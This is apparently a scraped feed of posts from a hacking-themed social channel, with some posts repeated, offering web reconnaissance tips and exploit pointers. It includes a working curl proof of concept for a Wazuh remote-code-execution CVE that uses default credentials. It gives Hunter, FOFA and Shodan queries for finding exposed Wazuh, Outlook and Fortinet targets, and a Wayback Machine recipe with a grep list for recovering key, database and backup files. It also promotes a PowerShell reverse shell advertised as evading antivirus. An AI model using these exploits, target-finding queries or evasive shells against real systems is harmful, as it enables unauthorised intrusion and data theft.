HackTheBox Academy

🖥 Find All Endpoint From JS Files With A Little Code. Put It In YOur Browser Console.

javascript:(function(){var scripts=document.getElementsByTagName("script"),regex=/(?<=(\"|\'|\`))\/[a-zA-Z0-9_?&=\/\-\#\.]*(?=(\"|\'|\`))/g;const results=new Set;for(var i=0;i<scripts.length;i++){var t=scripts[i].src;""!=t&&fetch(t).then(function(t){return t.text()}).then(function(t){var e=t.matchAll(regex);for(let r of e)results.add(r[0])}).catch(function(t){console.log("An error occurred: ",t)})}var pageContent=document.documentElement.outerHTML,matches=pageContent.matchAll(regex);for(const match of matches)results.add(match[0]);function writeResults(){results.forEach(function(t){document.write(t+"<br>")})}setTimeout(writeResults,3e3);})();

#Pentest #Ethical_Hacker #Hacking #JavaScript #Recon ➖➖➖➖➖➖➖➖➖ 🌐 @HackTheBox_Academy 🌐 @HackTheBox_Security

Is This Code Vulnareble to XSS Attcak? Yes 👍 No 👎 If YES, Send Your Currect PAYLOAD To @NullByte0x1

 <?php
if(!array_key_exists ("name", $_GET) || $_GET['name'] == NULL || $_GET['name'] == ''){
 $isempty = true;
} else {
 echo '<pre>';
 echo 'Hello ' . htmlspecialchars($_GET['name']);
 echo '</pre>';
}
?>

You Can Open It On Your LocalHost And Do Your Test.

📌  JavaScript For Hackers

Learn To Think Like A Hacker

#BOOK #Pentest #Ethical_Hacker #Hacking #JavaScript ➖➖➖➖➖➖➖➖➖ 🌐 @HackTheBox_Academy 🌐 @HackTheBox_Security

↔️ CVE-2025-24016 ❗️ An unsafe deserialization vulnerability allows for remote code execution on Wazuh servers. 🎯 Manual POC:

curl -X POST -k -u "wazuh-wui:MyS3cr37P450r.*-" -H "Content-Type: application/json" --data '{"__unhandled_exc__":{"__class__": "exit", "__args__": []}}' https://<worker-server>:55000/security/user/authenticate/run_as

Hunter:

product.name="Wazuh"

FOFA:

app="Wazuh"

#Ethical_Hacker #Exploit #RCE #CVE #Pentest #Vulnerability ➖➖➖➖➖➖➖➖➖ 🌐 @HackTheBox_Academy 🌐 @HackTheBox_Security

🔠 ScopeWatcher ⭐️ Find BugBounty Programs From HackerOne - BugCrowd - YesWeHack - Intigriti. 💫 Features: 💜 Database based work 💜 Fast Scanning 🖥 GitHub

If It Was Useful For You, Dont Forget To Give Star On GitHub.

#Web #Tools #BugBounty #Pentest #Ethical_Hacker ➖➖➖➖➖➖➖➖➖ 🌐 @HackTheBox_Academy 🌐 @HackTheBox_Security

🔠 ScopeWatcher ⭐️ Find BugBounty Programs From HackerOne - BugCrowd - YesWeHack - Intigriti. 💫 Features: 💜 Database based work 💜 Fast Scanning 🖥 GitHub #Web #Tools #BugBounty #Pentest #Ethical_Hacker ➖➖➖➖➖➖➖➖➖ 🌐 @HackTheBox_Academy 🌐 @HackTheBox_Security

🔠 WpProbe ⭐️ Fast And Modular WordPress Scanner Written In Go. 💫 Features: 💜 Plugin Enumeration & CVE Detection 💜 Fast Concurrent Scanning 💜 File output support 🖥 GitHub #Web #Tools #Scanner #Pentest #WordPress ➖➖➖➖➖➖➖➖➖ 🌐 @HackTheBox_Academy 🌐 @HackTheBox_Security

🛡 URL Validation Bypass Cheat Sheet For #SSRF , #CORS , #REDIRECT https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet

📌  Zseano's methodology. Identifying Security Vulnerabilities In Web Applications. #BOOK #Pentest #Ethical_Hacker #Web #Hacking #BugBounty #Security ➖➖➖➖➖➖➖➖➖ 🌐 @HackTheBox_Academy 🌐 @HackTheBox_Security

↔️ CVE-2024-21413 ❗️ An attacker who successfully exploited this vulnerability could gain high privileges, which include read, write, and delete functionality. 🖥 Exploit - POC Hunter:

product.name="Outlook Web App"

FOFA:

product="Microsoft-Outlook"

Shodan:

http.component:"Outlook Web App"

#Ethical_Hacker #Exploit #Microsoft #CVE #Pentest #Vulnerability ➖➖➖➖➖➖➖➖➖ 🌐 @HackTheBox_Academy 🌐 @HackTheBox_Security

⚔️ How to Access 404 files of any server? #Information_Disclosure_Vulnerability 1. Request to WayBack Machine To Recive All Links.

curl -G "https://web.archive.org/cdx/search/cdx" --data-urlencode "url=*.TATGET.com/*" --data-urlencode "collapse=urlkey" --data-urlencode "output=text" --data-urlencode "fl=original" > url.txt

2. Filter All Urls By Important Extensions.

cat url.txt | sort -u |  grep -E '\.xls|\.xml|\.xlsx|\.json|\.pdf|\.sql|\.doc|\.docx|\.pptx|\.txt|\.zip|\.tar\.gz|\.tgz|\.bak|\.7z|\.rar|\.log|\.cache|\.secret|\.db|\.backup|\.yml|\.gz|\.config|\.csv|\.yaml|\.md|\.md5|\.exe|\.dll|\.bin|\.ini|\.bat|\.sh|\.tar|\.deb|\.rpm|\.iso|\.img|\.apk|\.msi|\.dmg|\.tmp|\.crt|\.pem|\.key|\.pub|\.asc'

3. Check The All Urls, If You Got 404 From Server, Search It On WayBack And From Old ScreenShots, You Can Access To File, 4. If You Found Important Informations, You Can Report It As #Bug And Get Bounty. ⭐️ I Provide You Bash Script To Automate The Process. #Tips #BugBounty #Recon #Information_Disclosure_Vulnerability ➖➖➖➖➖➖➖➖➖ 🌐 @HackTheBox_Academy 🌐 @HackTheBox_Security

🛡 Top 10 web hacking techniques of 2024. https://portswigger.net/research/top-10-web-hacking-techniques-of-2024

👩‍💻 Local Privilege Escalation with IPTABLES. 🔎 Link #Ethical_Hacker #Linux #Tricks #Privilege_Escalation #Security ➖➖➖➖➖➖➖➖➖ 🌐 @HackTheBox_Academy 🌐 @HackTheBox_Security

❗️ A new reverse shell called ReverseShell_2025_01.ps1 At the time of publication, none of the scripts were flagged by antivirus systems. However, typically within 2-3 weeks after publication, some vendors begin to detect and flag the malicious files. 🖥 GitHub #Ethical_Hacker #ReverseShell #Bypass #PowerShell #RCE ➖➖➖➖➖➖➖➖➖ 🌐 @HackTheBox_Academy 🌐 @HackTheBox_Security

❗️ A new reverse shell called ReverseShell_2025_01.ps1 At the time of publication, none of the scripts were flagged by antivirus systems. However, typically within 2-3 weeks after publication. 🖥 GitHub #Ethical_Hacker #ReverseShell #Bypass #PowerShell #RCE ➖➖➖➖➖➖➖➖➖ 🌐 @HackTheBox_Academy 🌐 @HackTheBox_Security

↔️ CVE-2024-55591 ❗️ The manipulation with an unknown input leads to a authentication bypass vulnerability. 🖥 Exploit - POC Hunter:

product.name="Fortinet Firewall"

FOFA:

product="FORTINET-Firewall"

#Ethical_Hacker #Exploit #CVE #Pentest #Vulnerability ➖➖➖➖➖➖➖➖➖ 🌐 @HackTheBox_Academy 🌐 @HackTheBox_Security